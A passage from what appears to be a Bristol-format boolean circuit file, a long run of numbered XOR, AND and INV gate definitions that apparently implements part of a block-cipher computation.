11028 AND +2 1 11028 11029 10979 XOR +2 1 11028 11031 10983 XOR +1 1 10983 10980 INV +2 1 11028 11017 11007 XOR +2 1 11029 11007 10967 XOR +2 1 11024 11007 10973 XOR +1 1 10973 10970 INV +2 1 11023 11027 10999 XOR +2 1 11015 11009 11037 XOR +2 1 11037 11074 11035 AND +2 1 11037 11078 11026 AND +2 1 11033 11035 11014 XOR +2 1 11019 11020 11013 XOR +2 1 11025 11013 10995 XOR +2 1 11026 10995 10996 XOR +2 1 10996 10967 36466 XOR +2 1 36466 36470 11618 XOR +1 1 11618 11714 INV +2 1 11714 36455 11578 XOR +2 1 11034 10996 11000 XOR +2 1 11033 11000 10969 XOR +2 1 10968 10969 36464 XOR +2 1 11035 11000 11005 XOR +2 1 11017 11005 36465 XOR +2 1 36465 36469 11635 XOR +2 1 36465 36464 11425 XOR +2 1 11644 11635 11615 XOR +2 1 11005 10979 11086 XOR +1 1 11086 32847 INV +2 1 32847 32856 11641 XOR +2 1 11653 11641 11611 XOR +1 1 10999 10977 INV +2 1 10977 11021 10976 XOR +2 1 10976 11014 10972 XOR +2 1 11020 10972 10975 XOR +2 1 10974 10975 11085 XOR +2 1 10995 10972 10971 XOR +2 1 10970 10971 36463 XOR +2 1 36463 36467 11636 XOR +2 1 11636 32829 11426 XOR +1 1 11085 32854 INV +2 1 32847 32854 11574 XOR +2 1 11041 11076 11022 AND +2 1 11030 11022 10986 XOR +2 1 10986 11013 10982 XOR +2 1 11014 10982 10985 XOR +2 1 10984 10985 11088 XOR +1 1 11088 32849 INV +2 1 32849 32858 11668 XOR +2 1 11668 11630 11428 XOR +2 1 10977 10982 10981 XOR +2 1 10980 10981 11087 XOR +1 1 11087 32848 INV +2 1 11714 32848 11581 XOR +2 1 11653 36465 11587 XOR +2 1 32848 32857 11648 XOR +2 1 11714 32856 11609 XOR +2 1 33235 36236 9992 XOR +2 1 9991 9992 36145 XOR +2 1 36145 1331 34354 XOR +2 1 34354 34356 27366 XOR +2 1 27366 27364 27326 XOR +2 1 34352 34354 27460 XOR +2 1 27364 27460 27445 XOR +2 1 34354 34357 27458 XOR +2 1 27458 27380 27454 XOR +2 1 27366 34355 27325 XOR +2 1 34350 27325 27455 XOR +2 1 27455 34350 27441 AND +2 1 27460 27445 27436 AND +2 1 9993 9994 36144 XOR +2 1 36144 1332 34353 XOR +2 1 34353 34352 27340 XOR +2 1 34351 34353 27363 XOR +2 1 27363 27326 27448 XOR +2 1 27457 27448 27435 AND +2 1 27435 27441 27392 XOR +2 1 27392 27364 27379 XOR +2 1 34352 27363 27365 XOR +2 1 27370 27365 27446 XOR +2 1 27453 27446 27438 AND +2 1 27435 27438 27388 XOR +2 1 27436 27388 27382 XOR +2 1 34355 27365 27444 XOR +2 1 27439 27382 27338 XOR +2 1 34356 27365 27447 XOR +2 1 27458 27447 27437 AND +2 1 27436 27437 27339 XOR +2 1 27339 27340 27386 XOR +2 1 27437 27365 27367 XOR +2 1 27363 27458 27450 XOR +2 1 27450 27454 27443 AND +2 1 34350 27450 27449 XOR +2 1 27443 27366 27369 XOR +2 1 27369 27367 27373 XOR +2 1 27451 27449 27442 AND +2 1 27436 27442 27387 XOR +2 1 27387 27379 27431 XOR +2 1 27373 27392 27341 XOR +2 1 34355 27341 27384 XOR +2 1 34357 27373 27378 XOR +2 1 27387 27378 27434 XOR +2 1 34351 27338 27426 XOR +2 1 34357 34351 27459 XOR +2 1 27459 27444 27440 AND +2 1 27440 27364 27368 XOR +2 1 27368 27388 27342 XOR +2 1 27386 27368 27385 XOR +2 1 27342 27367 27432 XOR +2 1 27439 27385 27433 XOR +2 1 27434 27433 27430 AND +2 1 27430 27384 27425 XOR +2 1 27425 27426 27424 AND +2 1 27424 27382 27337 XOR +2 1 27430 27432 27429 XOR +2 1 27431 27429 27428 AND +2 1 27428 27384 27427 XOR +2 1 27427 27446 27406 AND +2 1 27430 27424 27422 XOR +2 1 27432 27422 27421 AND +2 1 27424 27441 27336 XOR +2 1 27421 27439 27391 XOR +2 1 27391 27385 27413 XOR +2 1 27413 27454 27402 AND +2 1 34351 27391 27374 XOR +2 1 27374 27337 27420 XOR +2 1 27420 27451 27401 AND +2 1 27336 27438 27331 XOR +2 1 27428 27440 27333 XOR +2 1 27333 27369 27329 XOR +2 1 34355 27329 27328 XOR +2 1 34357 27329 27332 XOR +2 1 27331 27332 27415 XOR +2 1 27415 27447 27405 AND +2 1 27415 27458 27396 AND +2 1 27428 27378 27330 XOR +2 1 27413 27450 27411 AND +2 1 27424 27432 27423 XOR +2 1 27423 27455 27400 AND +2 1 27423 34350 27409 AND +2 1 27409 27411 27390 XOR +2 1 27420 27449 27410 AND +2 1 27421 27429 27419 XOR +2 1 27427 27419 27418 AND +2 1 27418 27387 27377 XOR +2 1 27377 27379 27417 XOR +2 1 27417 27456 27407 AND +2 1 27417 27452 27398 AND +2 1 27406 27398 27362 XOR +2 1 27406 27407 27344 XOR +2 1 27418 27442 27335 XOR +2 1 27374 27335 27327 XOR +2 1 27327 27328 27412 XOR +2 1 27364 27327 27334 XOR +2 1 27412 27460 27395 AND +2 1 27395 27396 27389 XOR +2 1 27401 27389 27371 XOR +2 1 27402 27371 27372 XOR +2 1 27410 27372 27376 XOR +2 1 27411 27376 27381 XOR +2 1 27409 27376 27345 XOR +2 1 27344 27345 36403 XOR +2 1 36410 36403 11411 XOR +2 1 11528 36403 11527 XOR +2 1 11526 11527 36273 XOR +2 1 36273 1276 34409 XOR +2 1 36399 36403 11689 XOR +2 1 11692 11689 36297 XOR +2 1 36297 1252 34433 XOR +2 1 27362 27389 27358 XOR +2 1 27390 27358 27361 XOR +1 1 11689 11571 INV +2 1 11571 11676 11569 XOR +2 1 27412 27445 27404 AND +2 1 27404 27407 27359 XOR +1 1 27359 27356 INV +2 1 27404 27405 27355 XOR +2 1 27381 27355 27462 XOR +2 1 32852 27462 11550 XOR +2 1 33077 27462 11476 XOR +2 1 11475 11476 11474 XOR +1 1 11474 36276 INV +2 1 36276 1273 34412 XOR +1 1 27462 36406 INV +2 1 32831 36406 11675 XOR +2 1 11675 26202 11551 XOR +2 1 11675 11672 11539 XOR +2 1 32852 11539 36300 XOR +2 1 36300 1249 34436 XOR +2 1 11675 11624 11566 XOR +2 1 36401 11566 36285 XOR +2 1 36285 1264 34421 XOR +2 1 27377 27330 27414 XOR +2 1 27414 27444 27408 AND +2 1 27414 27459 27399 AND +2 1 27408 27399 27360 XOR +2 1 27360 27361 27464 XOR +2 1 27407 27408 27393 XOR +2 1 27404 27393 27383 XOR +2 1 27405 27383 27343 XOR +2 1 27372 27343 36407 XOR +2 1 36407 36412 11626 XOR +2 1 36401 36407 11625 XOR +1 1 11626 11560 INV +2 1 11688 11626 11565 XOR +2 1 11669 11625 11538 XOR +2 1 11626 36415 11410 XOR +2 1 26202 36407 11456 XOR +2 1 36412 11538 36301 XOR +2 1 36301 1248 34437 XOR +2 1 11410 11411 11696 XOR +2 1 11560 36414 11559 XOR +2 1 11688 11625 11439 XOR +2 1 32853 11439 36278 XOR +2 1 36278 1271 34414 XOR +2 1 11455 11456 36277 XOR +2 1 27393 27381 36404 XOR +2 1 36400 36404 11680 XOR +2 1 11680 11679 11544 XOR +2 1 11680 11672 11568 XOR +1 1 11544 11542 INV +2 1 11696 11680 36290 XOR +2 1 36290 1259 34426 XOR +2 1 36414 36404 11374 XOR +2 1 11373 11374 11711 XOR +2 1 11711 11676 36274 XOR +2 1 36411 36404 11554 XOR +2 1 11542 11543 36298 XOR +2 1 36298 1251 34434 XOR +2 1 34434 34436 2061 XOR +2 1 34434 34437 2153 XOR +2 1 32838 11568 36283 XOR +2 1 36283 1266 34419 XOR +2 1 34419 34421 1779 XOR +2 1 36274 1275 34410 XOR +2 1 34410 34412 1627 XOR +1 1 27464 33110 INV +2 1 33110 11565 36286 XOR +2 1 36286 1263 34422 XOR +2 1 33110 32853 11665 XOR +2 1 11687 11665 11563 XOR +2 1 11665 11624 11548 XOR +2 1 32833 11548 36294 XOR +2 1 36294 1255 34430 XOR +2 1 34430 34436 2065 XOR +2 1 27400 27383 27349 XOR +1 1 27349 27346 INV +2 1 36277 1272 34413 XOR +2 1 34410 34413 1733 XOR +2 1 11665 11632 11617 XOR +2 1 33079 11617 36270 XOR +2 1 36270 1279 34406 XOR +2 1 34406 34412 1621 XOR +2 1 27427 27453 27397 AND +2 1 11625 36399 11414 XOR +2 1 11618 36468 11424 XOR +2 1 11424 11425 11690 XOR +2 1 34349 34343 10943 XOR +2 1 10943 10928 10924 AND +2 1 10924 10848 10852 XOR +2 1 10870 10852 10869 XOR +2 1 10852 10872 10826 XOR +2 1 10826 10851 10916 XOR +2 1 10923 10869 10917 XOR +2 1 10918 10917 10914 AND +2 1 10914 10916 10913 XOR +2 1 10914 10868 10909 XOR +2 1 10909 10910 10908 AND +2 1 10908 10866 10821 XOR +2 1 10915 10913 10912 AND +2 1 10912 10924 10817 XOR +2 1 10817 10853 10813 XOR +2 1 10908 10916 10907 XOR +2 1 10907 34342 10893 AND +2 1 10907 10939 10884 AND +2 1 10908 10925 10820 XOR +2 1 10820 10922 10815 XOR +2 1 34349 10813 10816 XOR +2 1 10815 10816 10899 XOR +2 1 10899 10942 10880 AND +2 1 10899 10931 10889 AND +2 1 10912 10862 10814 XOR +2 1 34347 10813 10812 XOR +2 1 10914 10908 10906 XOR +2 1 10916 10906 10905 AND +2 1 10905 10913 10903 XOR +2 1 10905 10923 10875 XOR +2 1 34343 10875 10858 XOR +2 1 10858 10821 10904 XOR +2 1 10904 10933 10894 AND +2 1 10904 10935 10885 AND +2 1 10875 10869 10897 XOR +2 1 10897 10934 10895 AND +2 1 10893 10895 10874 XOR +2 1 10897 10938 10886 AND +2 1 10912 10868 10911 XOR +2 1 10911 10930 10890 AND +2 1 10911 10937 10881 AND +2 1 10911 10903 10902 AND +2 1 10902 10926 10819 XOR +2 1 10858 10819 10811 XOR +2 1 10811 10812 10896 XOR +2 1 10896 10929 10888 AND +2 1 10896 10944 10879 AND +2 1 10888 10889 10839 XOR +2 1 10848 10811 10818 XOR +2 1 10902 10871 10861 XOR +2 1 10861 10814 10898 XOR +2 1 10898 10943 10883 AND +2 1 10898 10928 10892 AND +2 1 10892 10883 10844 XOR +2 1 10861 10863 10901 XOR +2 1 10901 10940 10891 AND +2 1 10890 10891 10828 XOR +2 1 10888 10891 10843 XOR +2 1 10901 10936 10882 AND +2 1 10890 10882 10846 XOR +2 1 10891 10892 10877 XOR +2 1 10888 10877 10867 XOR +2 1 10884 10867 10833 XOR +1 1 10833 10830 INV +1 1 10843 10840 INV +2 1 10879 10880 10873 XOR +2 1 10885 10873 10855 XOR +2 1 10886 10855 10856 XOR +2 1 10894 10856 10860 XOR +2 1 10893 10860 10829 XOR +2 1 10846 10873 10842 XOR +2 1 10874 10842 10845 XOR +2 1 10844 10845 10948 XOR +1 1 10948 32845 INV +2 1 32845 33060 11662 XOR +2 1 11662 11621 11500 XOR +2 1 11662 11655 11523 XOR +2 1 33071 11500 36326 XOR +2 1 36326 1223 34462 XOR +2 1 10895 10860 10865 XOR +2 1 10865 10839 10946 XOR +2 1 10877 10865 36420 XOR +2 1 36420 36425 11650 XOR +2 1 33058 36420 11534 XOR +2 1 11650 11637 11514 XOR +1 1 10946 32843 INV +2 1 32843 11486 36332 XOR +2 1 10889 10867 10827 XOR +2 1 10856 10827 36421 XOR +2 1 36421 36426 11622 XOR +2 1 11659 11622 11525 XOR +1 1 11622 11517 INV +2 1 11517 36420 11516 XOR +2 1 11639 11622 11501 XOR +2 1 36421 32843 11512 XOR +2 1 32845 11525 36310 XOR +2 1 36310 1239 34446 XOR +2 1 10815 10818 10900 XOR +2 1 10900 10932 10887 AND +2 1 10900 10941 10878 AND +2 1 10889 10878 10838 XOR +1 1 10838 10834 INV +2 1 10883 10887 10859 XOR +1 1 10859 10837 INV +2 1 10837 10881 10836 XOR +2 1 10836 10874 10832 XOR +2 1 10880 10832 10835 XOR +2 1 10834 10835 10945 XOR +2 1 10837 10842 10841 XOR +2 1 10840 10841 10947 XOR +2 1 10855 10832 10831 XOR +2 1 10830 10831 36418 XOR +2 1 36418 36423 11657 XOR +1 1 11657 11509 INV +2 1 11509 36431 11507 XOR +2 1 11507 11508 36320 XOR +2 1 36320 1229 34456 XOR +2 1 11380 36418 11379 XOR +2 1 11657 11655 11497 XOR +2 1 36427 11497 36328 XOR +2 1 36328 1221 34464 XOR +1 1 10947 32844 INV +2 1 36423 32844 11536 XOR +2 1 11535 11536 36304 XOR +2 1 36304 1245 34440 XOR +1 1 10945 32850 INV +2 1 32850 11514 36315 XOR +2 1 32850 33058 11646 XOR +2 1 36315 1234 34451 XOR +2 1 11646 32846 11506 XOR +1 1 11506 11504 INV +2 1 11504 11505 36323 XOR +2 1 36323 1226 34459 XOR +2 1 32846 32850 11532 XOR +2 1 32844 36422 11661 XOR +2 1 11661 11659 11498 XOR +2 1 11705 11661 36319 XOR +2 1 11661 11652 11521 XOR +2 1 36418 11521 36312 XOR +2 1 36319 1230 34455 XOR +2 1 34455 34456 2495 XOR +2 1 11498 11499 36327 XOR +2 1 36327 1222 34463 XOR +2 1 34463 34464 2636 XOR +2 1 36312 1237 34448 XOR +2 1 25223 32845 11376 XOR +2 1 36421 36434 11631 XOR +1 1 11631 11377 INV +2 1 11377 36431 11378 XOR +2 1 11378 11379 11709 XOR +2 1 11659 11631 11537 XOR +2 1 33060 11537 36302 XOR +2 1 36302 1247 34438 XOR +2 1 11377 32841 11375 XOR +2 1 11375 11376 11710 XOR +2 1 11710 11655 36303 XOR +2 1 36303 1246 34439 XOR +2 1 34439 34440 2216 XOR +1 1 11650 11491 INV +2 1 11662 11629 11510 XOR +2 1 32841 11510 36318 XOR +2 1 36318 1231 34454 XOR +2 1 10828 10829 36419 XOR +2 1 11517 36419 11520 XOR +2 1 36419 36424 11654 XOR +2 1 36425 36419 11382 XOR +2 1 11654 11652 11495 XOR +2 1 11495 11496 36329 XOR +2 1 36329 1220 34465 XOR +2 1 34463 34465 2618 XOR +2 1 34464 2618 2620 XOR +2 1 34465 34464 2595 XOR +2 1 11517 32844 11524 XOR +2 1 11523 11524 11522 XOR +1 1 11522 36311 INV +2 1 36311 1238 34447 XOR +2 1 34447 34448 2356 XOR +2 1 11511 11512 36317 XOR +2 1 36317 1232 34453 XOR +2 1 34453 34447 2434 XOR +2 1 34453 34448 2432 XOR +2 1 34451 34453 2339 XOR +1 1 11654 11518 INV +2 1 10625 10643 10595 XOR +2 1 34327 10595 10578 XOR +2 1 10578 10541 10624 XOR +2 1 10624 10653 10614 AND +2 1 10624 10655 10605 AND +2 1 10578 10539 10531 XOR +2 1 10531 10532 10616 XOR +2 1 10616 10664 10599 AND +2 1 10599 10600 10593 XOR +2 1 10605 10593 10575 XOR +2 1 10566 10593 10562 XOR +2 1 10568 10531 10538 XOR +2 1 10535 10538 10620 XOR +2 1 10620 10652 10607 AND +2 1 10603 10607 10579 XOR +1 1 10579 10557 INV +2 1 10557 10562 10561 XOR +2 1 10557 10601 10556 XOR +2 1 10616 10649 10608 AND +2 1 10608 10609 10559 XOR +2 1 10608 10611 10563 XOR +1 1 10563 10560 INV +2 1 10608 10597 10587 XOR +2 1 10604 10587 10553 XOR +1 1 10553 10550 INV +2 1 10609 10587 10547 XOR +2 1 10560 10561 10667 XOR +1 1 10667 32836 INV +2 1 32836 25363 11452 XOR +2 1 11451 11452 36352 XOR +2 1 36352 1197 34488 XOR +2 1 32836 33074 11674 XOR +2 1 11678 11674 11438 XOR +2 1 11702 11674 36335 XOR +2 1 11686 11674 11466 XOR +2 1 11466 11467 11465 XOR +1 1 11465 36343 INV +2 1 36343 1206 34479 XOR +2 1 36335 1214 34471 XOR +2 1 10620 10661 10598 AND +2 1 10609 10598 10558 XOR +1 1 10558 10554 INV +2 1 10595 10589 10617 XOR +2 1 10617 10654 10615 AND +2 1 10613 10615 10594 XOR +2 1 10556 10594 10552 XOR +2 1 10575 10552 10551 XOR +2 1 10594 10562 10565 XOR +2 1 10617 10658 10606 AND +2 1 10606 10575 10576 XOR +2 1 10614 10576 10580 XOR +2 1 10576 10547 36449 XOR +2 1 36445 36449 11627 XOR +2 1 36449 36453 11620 XOR +2 1 11620 33073 11469 XOR +2 1 11469 11470 36341 XOR +2 1 36341 1208 34477 XOR +2 1 11627 33074 11402 XOR +2 1 11686 11627 11454 XOR +2 1 33075 11454 36350 XOR +2 1 11686 11620 11443 XOR +2 1 11649 11620 11457 XOR +2 1 34477 34471 32633 XOR +1 1 11627 11407 INV +2 1 11407 36451 11404 XOR +2 1 11407 36452 11408 XOR +2 1 10615 10580 10585 XOR +2 1 10585 10559 10666 XOR +1 1 10666 32835 INV +2 1 32835 25362 11445 XOR +2 1 11444 11445 36357 XOR +2 1 32835 33073 11634 XOR +2 1 11634 11623 11429 XOR +2 1 11634 33080 11472 XOR +2 1 11472 11473 11471 XOR +2 1 36449 11429 36365 XOR +1 1 11471 36340 INV +2 1 36340 1209 34476 XOR +2 1 36357 1192 34493 XOR +2 1 34493 34488 2991 XOR +2 1 10600 10552 10555 XOR +2 1 10554 10555 10665 XOR +1 1 10665 32842 INV +2 1 32842 33080 11645 XOR +2 1 11649 11645 11430 XOR +2 1 11645 36452 11479 XOR +2 1 11663 11645 11459 XOR +1 1 11479 11477 INV +2 1 32842 25361 11447 XOR +2 1 11477 11478 36339 XOR +2 1 36339 1210 34475 XOR +2 1 34475 34477 32539 XOR +2 1 11446 11447 36356 XOR +2 1 36356 1193 34492 XOR +2 1 33072 11459 36347 XOR +2 1 10550 10551 36446 XOR +2 1 36446 11406 11405 XOR +2 1 36446 11438 36360 XOR +2 1 36360 1189 34496 XOR +2 1 36446 36450 11670 XOR +2 1 11685 11670 11464 XOR +2 1 36435 11464 36344 XOR +2 1 36344 1205 34480 XOR +2 1 34479 34480 2775 XOR +1 1 11670 11482 INV +2 1 11482 33074 11480 XOR +2 1 11480 11481 36336 XOR +2 1 36336 1213 34472 XOR +2 1 34471 34472 32555 XOR +2 1 34477 34472 32631 XOR +2 1 36350 1199 34486 XOR +2 1 34486 34492 2904 XOR +2 1 10597 10585 36448 XOR +2 1 36448 36452 11651 XOR +2 1 11700 11651 36338 XOR +2 1 11656 11651 11431 XOR +2 1 36338 1211 34474 XOR +2 1 11437 11651 11460 XOR +2 1 11460 11461 36346 XOR +2 1 32842 11431 36363 XOR +2 1 36448 36442 11450 XOR +2 1 11449 11450 36355 XOR +2 1 36355 1194 34491 XOR +2 1 34491 34493 2898 XOR +2 1 34491 2904 2990 XOR +2 1 2898 2904 2987 XOR +2 1 36346 1203 34482 XOR +2 1 34474 34476 32541 XOR +2 1 34474 34477 32632 XOR +2 1 32632 32555 32628 XOR +2 1 34472 34474 32634 XOR +2 1 32539 32634 32619 XOR +2 1 32541 32539 32501 XOR +2 1 32541 34475 32500 XOR +2 1 32634 32619 32610 AND +2 1 11437 11670 11435 XOR +2 1 36365 1184 34501 XOR +2 1 34501 34496 3131 XOR +2 1 11404 11405 11698 XOR +2 1 11698 11671 36353 XOR +2 1 36353 1196 34489 XOR +2 1 34489 34488 2874 XOR +2 1 36363 1186 34499 XOR +2 1 34499 34501 3038 XOR +2 1 36347 1202 34483 XOR +2 1 32835 11430 36364 XOR +2 1 36364 1185 34500 XOR +2 1 11656 11634 11458 XOR +2 1 33065 11458 36348 XOR +2 1 36348 1201 34484 XOR +2 1 34482 34484 2761 XOR +2 1 2761 34483 2720 XOR +2 1 34480 34482 2854 XOR +2 1 10564 10565 10668 XOR +1 1 10668 32837 INV +2 1 32837 33075 11682 XOR +2 1 11682 11628 11483 XOR +2 1 33057 11483 36334 XOR +2 1 36334 1215 34470 XOR +2 1 11685 11682 11442 XOR +1 1 11442 11440 INV +2 1 11682 11623 11468 XOR +2 1 33067 11468 36342 XOR +2 1 36342 1207 34478 XOR +2 1 34478 34484 2765 XOR +2 1 32837 33057 11403 XOR +2 1 32837 11443 36358 XOR +2 1 36358 1191 34494 XOR +2 1 11402 11403 11699 XOR +2 1 11699 11685 36351 XOR +2 1 34470 34476 32545 XOR +2 1 32539 32545 32627 XOR +2 1 32555 32627 32625 XOR +2 1 34475 32545 32630 XOR +2 1 34471 32630 32626 XOR +2 1 34470 32500 32629 XOR +2 1 32629 34470 32615 AND +2 1 32630 32626 32613 AND +2 1 34478 2720 2849 XOR +2 1 2849 34478 2835 AND +2 1 36351 1198 34487 XOR +2 1 34493 34487 2993 XOR +2 1 34487 34488 2915 XOR +2 1 34487 34489 2897 XOR +2 1 34488 2897 2899 XOR +2 1 34491 2899 2978 XOR +2 1 34487 2990 2986 XOR +2 1 2990 2986 2973 AND +2 1 2993 2978 2974 AND +2 1 2974 2898 2902 XOR +2 1 2915 2987 2985 XOR +2 1 34483 2765 2850 XOR +2 1 34479 2850 2846 XOR +2 1 2850 2846 2833 AND +2 1 34492 2899 2981 XOR +2 1 2904 2899 2980 XOR +2 1 2987 2980 2972 AND +2 1 34494 34500 3044 XOR +2 1 3038 3044 3127 XOR +2 1 34499 3044 3130 XOR +2 1 10613 10580 10549 XOR +2 1 10548 10549 36447 XOR +2 1 36447 11399 11409 XOR +2 1 11408 11409 11697 XOR +2 1 36447 36451 11660 XOR +2 1 11453 11660 11462 XOR +2 1 11462 11463 36345 XOR +2 1 36345 1204 34481 XOR +2 1 34479 34481 2758 XOR +2 1 34481 34480 2735 XOR +2 1 11701 11660 36337 XOR +2 1 36337 1212 34473 XOR +2 1 34471 34473 32538 XOR +2 1 34472 32538 32540 XOR +2 1 34476 32540 32621 XOR +2 1 34475 32540 32618 XOR +2 1 32545 32540 32620 XOR +2 1 32538 32632 32624 XOR +2 1 34470 32624 32623 XOR +2 1 34473 34472 32515 XOR +2 1 32538 32501 32622 XOR +2 1 32624 32628 32617 AND +2 1 32617 32541 32544 XOR +2 1 32625 32623 32616 AND +2 1 32610 32616 32562 XOR +2 1 32633 32618 32614 AND +2 1 32614 32539 32543 XOR +2 1 32627 32620 32612 AND +2 1 32632 32621 32611 AND +2 1 32611 32540 32542 XOR +2 1 32544 32542 32548 XOR +2 1 34477 32548 32553 XOR +2 1 32562 32553 32608 XOR +2 1 32610 32611 32514 XOR +2 1 32514 32515 32561 XOR +2 1 32561 32543 32560 XOR +2 1 32613 32560 32607 XOR +2 1 32631 32622 32609 AND +2 1 32609 32612 32563 XOR +2 1 32609 32615 32567 XOR +2 1 32567 32539 32554 XOR +2 1 32562 32554 32605 XOR +2 1 32610 32563 32557 XOR +2 1 32543 32563 32517 XOR +2 1 32517 32542 32606 XOR +2 1 32548 32567 32516 XOR +2 1 34475 32516 32559 XOR +2 1 32613 32557 32513 XOR +2 1 34471 32513 32600 XOR +2 1 32608 32607 32604 AND +2 1 32604 32559 32599 XOR +2 1 32604 32606 32603 XOR +2 1 32603 32605 32602 AND +2 1 32602 32559 32601 XOR +2 1 32602 32614 32508 XOR +2 1 32508 32544 32504 XOR +2 1 34477 32504 32507 XOR +2 1 32602 32553 32505 XOR +2 1 34475 32504 32503 XOR +2 1 32599 32600 32598 AND +2 1 32598 32606 32597 XOR +2 1 32604 32598 32596 XOR +2 1 32598 32557 32512 XOR +2 1 32598 32615 32511 XOR +2 1 32511 32612 32506 XOR +2 1 32506 32507 32589 XOR +2 1 32606 32596 32595 AND +2 1 32595 32603 32593 XOR +2 1 32595 32613 32566 XOR +2 1 32566 32560 32587 XOR +2 1 34471 32566 32549 XOR +2 1 32549 32512 32594 XOR +2 1 32601 32593 32592 AND +2 1 32592 32562 32552 XOR +2 1 32552 32554 32591 XOR +2 1 32592 32616 32510 XOR +2 1 32549 32510 32502 XOR +2 1 32539 32502 32509 XOR +2 1 32506 32509 32590 XOR +2 1 32552 32505 32588 XOR +2 1 32502 32503 32586 XOR +2 1 32587 32624 32585 AND +2 1 32594 32623 32584 AND +2 1 32597 34470 32583 AND +2 1 32583 32585 32565 XOR +2 1 32588 32618 32582 AND +2 1 32591 32630 32581 AND +2 1 32601 32620 32580 AND +2 1 32580 32581 32519 XOR +2 1 32589 32621 32579 AND +2 1 32586 32619 32578 AND +2 1 32578 32581 32534 XOR +1 1 32534 32531 INV +2 1 32578 32579 32530 XOR +2 1 32590 32622 32577 AND +2 1 32587 32628 32576 AND +2 1 32594 32625 32575 AND +2 1 32597 32629 32574 AND +2 1 32588 32633 32573 AND +2 1 32573 32577 32550 XOR +2 1 32582 32573 32535 XOR +1 1 32550 32528 INV +2 1 32591 32626 32572 AND +2 1 32580 32572 32537 XOR +2 1 32601 32627 32571 AND +2 1 32528 32571 32527 XOR +2 1 32527 32565 32523 XOR +2 1 32589 32632 32570 AND +2 1 32570 32523 32526 XOR +2 1 32586 32634 32569 AND +2 1 32569 32570 32564 XOR +2 1 32575 32564 32546 XOR +2 1 32576 32546 32547 XOR +2 1 32584 32547 32551 XOR +2 1 32585 32551 32556 XOR +2 1 32537 32564 32533 XOR +2 1 32565 32533 32536 XOR +2 1 32535 32536 32638 XOR +2 1 32528 32533 32532 XOR +2 1 32531 32532 32637 XOR +2 1 32556 32530 32636 XOR +2 1 32546 32523 32522 XOR +2 1 32583 32551 32520 XOR +2 1 32519 32520 34601 XOR +2 1 34601 1116 36826 XOR +2 1 32590 32631 32568 AND +2 1 32579 32568 32529 XOR +1 1 32529 32525 INV +2 1 32525 32526 32635 XOR +1 1 32638 34598 INV +2 1 34598 1119 36823 XOR +1 1 32637 34599 INV +2 1 34599 1118 36824 XOR +1 1 32636 34604 INV +2 1 34604 1113 36829 XOR +1 1 32635 34603 INV +2 1 11434 11660 11432 XOR +2 1 32581 32582 32731 XOR +2 1 32578 32731 32558 XOR +2 1 32579 32558 32518 XOR +2 1 32574 32558 32524 XOR +1 1 32524 32521 INV +2 1 32521 32522 34600 XOR +2 1 32547 32518 34605 XOR +2 1 34605 1112 36830 XOR +2 1 32731 32556 34602 XOR +2 1 34602 1115 36827 XOR +2 1 34600 1117 36825 XOR +2 1 11697 11663 36354 XOR +2 1 36354 1195 34490 XOR +2 1 34490 34493 2992 XOR +2 1 2897 2992 2984 XOR +2 1 34486 2984 2983 XOR +2 1 2985 2983 2976 AND +2 1 2992 2915 2988 XOR +2 1 2984 2988 2977 AND +2 1 34490 34492 2900 XOR +2 1 2900 2898 2860 XOR +2 1 2897 2860 2982 XOR +2 1 2900 34491 2859 XOR +2 1 34486 2859 2989 XOR +2 1 2989 34486 2975 AND +2 1 34488 34490 2994 XOR +2 1 2898 2994 2979 XOR +2 1 2977 2900 2903 XOR +2 1 2991 2982 2969 AND +2 1 2969 2972 2923 XOR +2 1 2902 2923 2876 XOR +2 1 34603 1114 36828 XOR +2 1 2969 2975 2927 XOR +2 1 2927 2898 2914 XOR +2 1 34480 2758 2760 XOR +2 1 34483 2760 2838 XOR +2 1 2765 2760 2840 XOR +2 1 34484 2760 2841 XOR +2 1 2992 2981 2971 AND +2 1 2971 2899 2901 XOR +2 1 2876 2901 2966 XOR +2 1 2903 2901 2907 XOR +2 1 34493 2907 2913 XOR +2 1 2907 2927 2875 XOR +2 1 34491 2875 2919 XOR +2 1 2994 2979 2970 AND +2 1 2970 2971 2873 XOR +2 1 2970 2923 2917 XOR +2 1 2973 2917 2872 XOR +2 1 2873 2874 2921 XOR +2 1 2970 2976 2922 XOR +2 1 2922 2913 2968 XOR +2 1 34487 2872 2960 XOR +2 1 2922 2914 2965 XOR +2 1 2921 2902 2920 XOR +2 1 2973 2920 2967 XOR +2 1 2968 2967 2964 AND +2 1 2964 2966 2963 XOR +2 1 2965 2963 2962 AND +2 1 2962 2913 2864 XOR +2 1 2962 2974 2867 XOR +2 1 2867 2903 2863 XOR +2 1 2964 2919 2959 XOR +2 1 2959 2960 2958 AND +2 1 2964 2958 2956 XOR +2 1 2966 2956 2955 AND +2 1 2958 2966 2957 XOR +2 1 2955 2973 2926 XOR +2 1 2958 2975 2870 XOR +2 1 2955 2963 2953 XOR +2 1 2958 2917 2871 XOR +2 1 2957 34486 2943 AND +2 1 34491 2863 2862 XOR +2 1 2870 2972 2865 XOR +2 1 2926 2920 2947 XOR +2 1 2947 2984 2945 AND +2 1 2947 2988 2936 AND +2 1 34487 2926 2908 XOR +2 1 2908 2871 2954 XOR +2 1 2954 2985 2935 AND +2 1 2954 2983 2944 AND +2 1 2957 2989 2934 AND +2 1 2943 2945 2925 XOR +2 1 2962 2919 2961 XOR +2 1 2961 2980 2940 AND +2 1 2961 2987 2931 AND +2 1 2961 2953 2952 AND +2 1 2952 2922 2912 XOR +2 1 2912 2864 2948 XOR +2 1 2948 2978 2942 AND +2 1 2948 2993 2933 AND +2 1 2942 2933 2894 XOR +2 1 2952 2976 2869 XOR +2 1 2908 2869 2861 XOR +2 1 2861 2862 2946 XOR +2 1 2946 2994 2929 AND +2 1 2898 2861 2868 XOR +2 1 2946 2979 2938 AND +2 1 2865 2868 2950 XOR +2 1 2950 2982 2937 AND +2 1 2950 2991 2928 AND +2 1 2933 2937 2909 XOR +1 1 2909 2887 INV +2 1 2887 2931 2886 XOR +2 1 2886 2925 2882 XOR +2 1 2912 2914 2951 XOR +2 1 2951 2986 2932 AND +2 1 2940 2932 2896 XOR +2 1 2951 2990 2941 AND +2 1 2938 2941 2893 XOR +1 1 2893 2890 INV +2 1 2940 2941 2878 XOR +2 1 2941 2942 2910 XOR +2 1 2938 2910 2918 XOR +2 1 2934 2918 2883 XOR +1 1 2883 2880 INV +2 1 34493 2863 2866 XOR +2 1 2865 2866 2949 XOR +2 1 2949 2981 2939 AND +2 1 2939 2928 2888 XOR +1 1 2888 2884 INV +2 1 2938 2939 2889 XOR +2 1 2939 2918 2877 XOR +2 1 2949 2992 2930 AND +2 1 2929 2930 2924 XOR +2 1 2935 2924 2905 XOR 